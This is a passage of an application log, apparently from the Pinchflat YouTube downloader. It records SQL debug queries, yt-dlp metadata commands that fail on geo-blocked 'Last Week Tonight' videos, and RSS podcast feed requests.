Monaco, Moldova, Republic of, Montenegro, Saint Martin (French part), Marshall Islands, Macedonia, the Former Yugoslav Republic of, Myanmar, Mongolia, Macao, Northern Mariana Islands, Martinique, Montserrat, Malta, Maldives, Mexico, Malaysia, New Caledonia, Norfolk Island, Nicaragua, Netherlands, Norway, Nepal, Nauru, Niue, Panama, Peru, French Polynesia, Papua New Guinea, Philippines, Pakistan, Poland, Saint Pierre and Miquelon, Pitcairn, Puerto Rico, Palestine, State of, Portugal, Palau, Paraguay, Romania, Serbia, Russian Federation, Solomon Islands, Sweden, Singapore, Slovenia, Svalbard and Jan Mayen, Slovakia, Suriname, Sao Tome and Principe, El Salvador, Sint Maarten (Dutch part), Syrian Arab Republic, Swaziland, Turks and Caicos Islands, French Southern Territories, Thailand, Tajikistan, Tokelau, Timor-Leste, Turkmenistan, Tonga, Turkey, Trinidad and Tobago, Tuvalu, Taiwan, Province of China, Ukraine, United States Minor Outlying Islands, Uruguay, Uzbekistan, Holy See (Vatican City State), Saint Vincent and the Grenadines, Venezuela, Bolivarian Republic of, Virgin Islands, British, Virgin Islands, U.S., Viet Nam, Vanuatu, Wallis and Futuna, Samoa.\nYou might want to use a VPN or a proxy server (with --proxy) to workaround.\n", 1} 18:08:10.822 [debug] QUERY OK source="settings" db=0.1ms idle=1447.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:08:10.822 [debug] QUERY OK source="settings" db=0.1ms idle=1447.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:08:10.822 [debug] Running yt-dlp command for action: get_media_attributes 18:08:10.843 [debug] QUERY OK source="settings" db=0.1ms idle=1467.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:08:10.843 [debug] QUERY OK source="settings" db=0.0ms idle=1362.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:08:10.843 [debug] QUERY OK source="settings" db=0.0ms idle=361.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:08:10.843 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=9iZK_DurYOo --simulate --skip-download --output /downloads/Last Week Tonight/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/e0/8d/e08dcfec9b288df996bcc634e9c73439fb08e23b9c37698aa384b1baa5fde731.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 18:08:12.408 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=9iZK_DurYOo --simulate --skip-download --output /downloads/Last Week Tonight/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/e0/8d/e08dcfec9b288df996bcc634e9c73439fb08e23b9c37698aa384b1baa5fde731.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] 9iZK_DurYOo: The uploader has not made this video available in your country This video is available in Andorra, Antigua and Barbuda, Anguilla, Albania, Armenia, Antarctica, Argentina, American Samoa, Austria, Aruba, Åland Islands, Azerbaijan, Bosnia and Herzegovina, Barbados, Bangladesh, Belgium, Bulgaria, Saint Barthélemy, Bermuda, Brunei Darussalam, Bolivia, Plurinational State of, Bonaire, Sint Eustatius and Saba, Brazil, Bahamas, Bhutan, Bouvet Island, Belarus, Belize, Cocos (Keeling) Islands, Switzerland, Cook Islands, Chile, China, Colombia, Costa Rica, Cuba, Curaçao, Christmas Island, Cyprus, Czech Republic, Germany, Denmark, Dominica, Dominican Republic, Ecuador, Estonia, Finland, Fiji, Falkland Islands (Malvinas), Micronesia, Federated States of, Faroe Islands, France, Grenada, Georgia, French Guiana, Guernsey, Greenland, Gambia, Guadeloupe, Greece, South Georgia and the South Sandwich Islands, Guatemala, Guam, Guyana, Hong Kong, Heard Island and McDonald Islands, Honduras, Croatia, Haiti, Hungary, Indonesia, Israel, Isle of Man, British Indian Ocean Territory, Iran, Islamic Republic of, Iceland, Italy, Jersey, Jamaica, Japan, Kyrgyzstan, Cambodia, Kiribati, Saint Kitts and Nevis, Korea, Democratic People's Republic of, Korea, Republic of, Cayman Islands, Kazakhstan, Lao People's Democratic Republic, Saint Lucia, Liechtenstein, Sri Lanka, Lithuania, Luxembourg, Latvia, Monaco, Moldova, Republic of, Montenegro, Saint Martin (French part), Marshall Islands, Macedonia, the Former Yugoslav Republic of, Myanmar, Mongolia, Macao, Northern Mariana Islands, Martinique, Montserrat, Malta, Maldives, Mexico, Malaysia, New Caledonia, Norfolk Island, Nicaragua, Netherlands, Norway, Nepal, Nauru, Niue, Panama, Peru, French Polynesia, Papua New Guinea, Philippines, Pakistan, Poland, Saint Pierre and Miquelon, Pitcairn, Puerto Rico, Palestine, State of, Portugal, Palau, Paraguay, Romania, Serbia, Russian Federation, Solomon Islands, Sweden, Singapore, Slovenia, Svalbard and Jan Mayen, Slovakia, Suriname, Sao Tome and Principe, El Salvador, Sint Maarten (Dutch part), Syrian Arab Republic, Swaziland, Turks and Caicos Islands, French Southern Territories, Thailand, Tajikistan, Tokelau, Timor-Leste, Turkmenistan, Tonga, Turkey, Trinidad and Tobago, Tuvalu, Taiwan, Province of China, Ukraine, United States Minor Outlying Islands, Uruguay, Uzbekistan, Holy See (Vatican City State), Saint Vincent and the Grenadines, Venezuela, Bolivarian Republic of, Virgin Islands, British, Virgin Islands, U.S., Viet Nam, Vanuatu, Wallis and Futuna, Samoa. You might want to use a VPN or a proxy server (with --proxy) to workaround. 18:08:12.409 [error] Error creating media item '9iZK_DurYOo' from URL: {:error, "ERROR: [youtube] 9iZK_DurYOo: The uploader has not made this video available in your country\nThis video is available in Andorra, Antigua and Barbuda, Anguilla, Albania, Armenia, Antarctica, Argentina, American Samoa, Austria, Aruba, Åland Islands, Azerbaijan, Bosnia and Herzegovina, Barbados, Bangladesh, Belgium, Bulgaria, Saint Barthélemy, Bermuda, Brunei Darussalam, Bolivia, Plurinational State of, Bonaire, Sint Eustatius and Saba, Brazil, Bahamas, Bhutan, Bouvet Island, Belarus, Belize, Cocos (Keeling) Islands, Switzerland, Cook Islands, Chile, China, Colombia, Costa Rica, Cuba, Curaçao, Christmas Island, Cyprus, Czech Republic, Germany, Denmark, Dominica, Dominican Republic, Ecuador, Estonia, Finland, Fiji, Falkland Islands (Malvinas), Micronesia, Federated States of, Faroe Islands, France, Grenada, Georgia, French Guiana, Guernsey, Greenland, Gambia, Guadeloupe, Greece, South Georgia and the South Sandwich Islands, Guatemala, Guam, Guyana, Hong Kong, Heard Island and McDonald Islands, Honduras, Croatia, Haiti, Hungary, Indonesia, Israel, Isle of Man, British Indian Ocean Territory, Iran, Islamic Republic of, Iceland, Italy, Jersey, Jamaica, Japan, Kyrgyzstan, Cambodia, Kiribati, Saint Kitts and Nevis, Korea, Democratic People's Republic of, Korea, Republic of, Cayman Islands, Kazakhstan, Lao People's Democratic Republic, Saint Lucia, Liechtenstein, Sri Lanka, Lithuania, Luxembourg, Latvia, Monaco, Moldova, Republic of, Montenegro, Saint Martin (French part), Marshall Islands, Macedonia, the Former Yugoslav Republic of, Myanmar, Mongolia, Macao, Northern Mariana Islands, Martinique, Montserrat, Malta, Maldives, Mexico, Malaysia, New Caledonia, Norfolk Island, Nicaragua, Netherlands, Norway, Nepal, Nauru, Niue, Panama, Peru, French Polynesia, Papua New Guinea, Philippines, Pakistan, Poland, Saint Pierre and Miquelon, Pitcairn, Puerto Rico, Palestine, State of, Portugal, Palau, Paraguay, Romania, Serbia, Russian Federation, Solomon Islands, Sweden, Singapore, Slovenia, Svalbard and Jan Mayen, Slovakia, Suriname, Sao Tome and Principe, El Salvador, Sint Maarten (Dutch part), Syrian Arab Republic, Swaziland, Turks and Caicos Islands, French Southern Territories, Thailand, Tajikistan, Tokelau, Timor-Leste, Turkmenistan, Tonga, Turkey, Trinidad and Tobago, Tuvalu, Taiwan, Province of China, Ukraine, United States Minor Outlying Islands, Uruguay, Uzbekistan, Holy See (Vatican City State), Saint Vincent and the Grenadines, Venezuela, Bolivarian Republic of, Virgin Islands, British, Virgin Islands, U.S., Viet Nam, Vanuatu, Wallis and Futuna, Samoa.\nYou might want to use a VPN or a proxy server (with --proxy) to workaround.\n", 1} 18:08:12.409 [debug] QUERY OK source="settings" db=0.1ms idle=926.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:08:12.409 [debug] QUERY OK source="settings" db=0.0ms idle=531.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:08:12.409 [debug] Running yt-dlp command for action: get_media_attributes 18:08:12.411 [debug] QUERY OK source="settings" db=0.0ms idle=532.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:08:12.411 [debug] QUERY OK source="settings" db=0.0ms idle=532.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:08:12.411 [debug] QUERY OK source="settings" db=0.0ms idle=532.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:08:12.411 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=NtHZ7IR88dg --simulate --skip-download --output /downloads/Last Week Tonight/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/31/7a/317add6c509fa92a9da4f8fe854d3b67b160fe29685a32f6a5e6fa64f4aa3bfc.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 18:08:13.900 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=NtHZ7IR88dg --simulate --skip-download --output /downloads/Last Week Tonight/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/31/7a/317add6c509fa92a9da4f8fe854d3b67b160fe29685a32f6a5e6fa64f4aa3bfc.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] NtHZ7IR88dg: The uploader has not made this video available in your country This video is available in Andorra, Antigua and Barbuda, Anguilla, Albania, Armenia, Antarctica, Argentina, American Samoa, Austria, Aruba, Åland Islands, Azerbaijan, Bosnia and Herzegovina, Barbados, Bangladesh, Belgium, Bulgaria, Saint Barthélemy, Bermuda, Brunei Darussalam, Bolivia, Plurinational State of, Bonaire, Sint Eustatius and Saba, Brazil, Bahamas, Bhutan, Bouvet Island, Belarus, Belize, Cocos (Keeling) Islands, Switzerland, Cook Islands, Chile, China, Colombia, Costa Rica, Cuba, Curaçao, Christmas Island, Cyprus, Czech Republic, Germany, Denmark, Dominica, Dominican Republic, Ecuador, Estonia, Finland, Fiji, Falkland Islands (Malvinas), Micronesia, Federated States of, Faroe Islands, France, Grenada, Georgia, French Guiana, Guernsey, Greenland, Gambia, Guadeloupe, Greece, South Georgia and the South Sandwich Islands, Guatemala, Guam, Guyana, Hong Kong, Heard Island and McDonald Islands, Honduras, Croatia, Haiti, Hungary, Indonesia, Israel, Isle of Man, British Indian Ocean Territory, Iran, Islamic Republic of, Iceland, Italy, Jersey, Jamaica, Japan, Kyrgyzstan, Cambodia, Kiribati, Saint Kitts and Nevis, Korea, Democratic People's Republic of, Korea, Republic of, Cayman Islands, Kazakhstan, Lao People's Democratic Republic, Saint Lucia, Liechtenstein, Sri Lanka, Lithuania, Luxembourg, Latvia, Monaco, Moldova, Republic of, Montenegro, Saint Martin (French part), Marshall Islands, Macedonia, the Former Yugoslav Republic of, Myanmar, Mongolia, Macao, Northern Mariana Islands, Martinique, Montserrat, Malta, Maldives, Mexico, Malaysia, New Caledonia, Norfolk Island, Nicaragua, Netherlands, Norway, Nepal, Nauru, Niue, Panama, Peru, French Polynesia, Papua New Guinea, Philippines, Pakistan, Poland, Saint Pierre and Miquelon, Pitcairn, Puerto Rico, Palestine, State of, Portugal, Palau, Paraguay, Romania, Serbia, Russian Federation, Solomon Islands, Sweden, Singapore, Slovenia, Svalbard and Jan Mayen, Slovakia, Suriname, Sao Tome and Principe, El Salvador, Sint Maarten (Dutch part), Syrian Arab Republic, Swaziland, Turks and Caicos Islands, French Southern Territories, Thailand, Tajikistan, Tokelau, Timor-Leste, Turkmenistan, Tonga, Turkey, Trinidad and Tobago, Tuvalu, Taiwan, Province of China, Ukraine, United States Minor Outlying Islands, Uruguay, Uzbekistan, Holy See (Vatican City State), Saint Vincent and the Grenadines, Venezuela, Bolivarian Republic of, Virgin Islands, British, Virgin Islands, U.S., Viet Nam, Vanuatu, Wallis and Futuna, Samoa. You might want to use a VPN or a proxy server (with --proxy) to workaround. 18:08:13.900 [error] Error creating media item 'NtHZ7IR88dg' from URL: {:error, "ERROR: [youtube] NtHZ7IR88dg: The uploader has not made this video available in your country\nThis video is available in Andorra, Antigua and Barbuda, Anguilla, Albania, Armenia, Antarctica, Argentina, American Samoa, Austria, Aruba, Åland Islands, Azerbaijan, Bosnia and Herzegovina, Barbados, Bangladesh, Belgium, Bulgaria, Saint Barthélemy, Bermuda, Brunei Darussalam, Bolivia, Plurinational State of, Bonaire, Sint Eustatius and Saba, Brazil, Bahamas, Bhutan, Bouvet Island, Belarus, Belize, Cocos (Keeling) Islands, Switzerland, Cook Islands, Chile, China, Colombia, Costa Rica, Cuba, Curaçao, Christmas Island, Cyprus, Czech Republic, Germany, Denmark, Dominica, Dominican Republic, Ecuador, Estonia, Finland, Fiji, Falkland Islands (Malvinas), Micronesia, Federated States of, Faroe Islands, France, Grenada, Georgia, French Guiana, Guernsey, Greenland, Gambia, Guadeloupe, Greece, South Georgia and the South Sandwich Islands, Guatemala, Guam, Guyana, Hong Kong, Heard Island and McDonald Islands, Honduras, Croatia, Haiti, Hungary, Indonesia, Israel, Isle of Man, British Indian Ocean Territory, Iran, Islamic Republic of, Iceland, Italy, Jersey, Jamaica, Japan, Kyrgyzstan, Cambodia, Kiribati, Saint Kitts and Nevis, Korea, Democratic People's Republic of, Korea, Republic of, Cayman Islands, Kazakhstan, Lao People's Democratic Republic, Saint Lucia, Liechtenstein, Sri Lanka, Lithuania, Luxembourg, Latvia, Monaco, Moldova, Republic of, Montenegro, Saint Martin (French part), Marshall Islands, Macedonia, the Former Yugoslav Republic of, Myanmar, Mongolia, Macao, Northern Mariana Islands, Martinique, Montserrat, Malta, Maldives, Mexico, Malaysia, New Caledonia, Norfolk Island, Nicaragua, Netherlands, Norway, Nepal, Nauru, Niue, Panama, Peru, French Polynesia, Papua New Guinea, Philippines, Pakistan, Poland, Saint Pierre and Miquelon, Pitcairn, Puerto Rico, Palestine, State of, Portugal, Palau, Paraguay, Romania, Serbia, Russian Federation, Solomon Islands, Sweden, Singapore, Slovenia, Svalbard and Jan Mayen, Slovakia, Suriname, Sao Tome and Principe, El Salvador, Sint Maarten (Dutch part), Syrian Arab Republic, Swaziland, Turks and Caicos Islands, French Southern Territories, Thailand, Tajikistan, Tokelau, Timor-Leste, Turkmenistan, Tonga, Turkey, Trinidad and Tobago, Tuvalu, Taiwan, Province of China, Ukraine, United States Minor Outlying Islands, Uruguay, Uzbekistan, Holy See (Vatican City State), Saint Vincent and the Grenadines, Venezuela, Bolivarian Republic of, Virgin Islands, British, Virgin Islands, U.S., Viet Nam, Vanuatu, Wallis and Futuna, Samoa.\nYou might want to use a VPN or a proxy server (with --proxy) to workaround.\n", 1} 18:08:13.902 [debug] QUERY OK source="media_items" db=1.7ms idle=415.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [6] 18:08:13.903 [debug] QUERY OK source="tasks" db=0.1ms idle=25.2ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800387, 6, ~U[2026-02-11 00:08:13Z], ~U[2026-02-11 00:08:13Z]] 18:08:13.903 [info] {"args":{"id":6},"id":3800348,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":9422047,"event":"job:stop","queue_time":419957,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 18:08:17.276 [info] GET /sources/54410283-ff90-408b-84a6-9b0f438201ec/feed.xml 18:08:17.277 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "54410283-ff90-408b-84a6-9b0f438201ec"} Pipelines: [:maybe_basic_auth] 18:08:17.277 [debug] QUERY OK source="sources" db=0.2ms idle=1398.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["54410283-ff90-408b-84a6-9b0f438201ec"] 18:08:17.280 [debug] QUERY OK source="media_items" db=3.2ms idle=1399.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [27, 2000] 18:08:17.284 [info] GET /sources/72002b34-c043-42e8-84e7-d0b43eaebbef/feed.xml 18:08:17.284 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "72002b34-c043-42e8-84e7-d0b43eaebbef"} Pipelines: [:maybe_basic_auth] 18:08:17.284 [debug] QUERY OK source="sources" db=0.1ms idle=1406.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["72002b34-c043-42e8-84e7-d0b43eaebbef"] 18:08:17.287 [debug] QUERY OK source="media_items" db=3.0ms idle=1406.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [7, 2000] 18:08:17.297 [debug] QUERY OK source="source_metadata" db=0.0ms idle=809.0ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [7] 18:08:17.297 [debug] QUERY OK source="media_metadata" db=0.0ms idle=19.7ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [1563684] 18:08:17.297 [info] Sent 200 in 13ms 18:08:17.302 [debug] QUERY OK source="source_metadata" db=0.0ms queue=0.1ms idle=21.2ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [27] 18:08:17.302 [debug] QUERY OK source="media_metadata" db=0.0ms idle=17.4ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [1563676] 18:08:17.303 [info] Sent 200 in 26ms 18:08:17.388 [info] GET /sources/d8c11d05-824d-4284-b36d-fabb788a0b82/feed.xml 18:08:17.388 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "d8c11d05-824d-4284-b36d-fabb788a0b82"} Pipelines: [:maybe_basic_auth] 18:08:17.389 [debug] QUERY OK source="sources" db=0.1ms idle=101.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["d8c11d05-824d-4284-b36d-fabb788a0b82"] 18:08:17.391 [debug] QUERY OK source="media_items" db=2.4ms idle=92.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [5, 2000] 18:08:17.392 [debug] QUERY OK source="source_metadata" db=0.0ms idle=95.4ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [5] 18:08:17.392 [debug] QUERY OK source="media_metadata" db=0.0ms idle=90.5ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [1564175] 18:08:17.392 [info] Sent 200 in 4ms 18:08:17.545 [info] GET /sources/be49242a-e234-4087-a8b9-7fa831077b1d/feed.xml 18:08:17.545 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "be49242a-e234-4087-a8b9-7fa831077b1d"} Pipelines: [:maybe_basic_auth] 18:08:17.545 [debug] QUERY OK source="sources" db=0.1ms idle=156.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["be49242a-e234-4087-a8b9-7fa831077b1d"] 18:08:17.546 [debug] QUERY OK source="media_items" db=0.9ms idle=153.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", 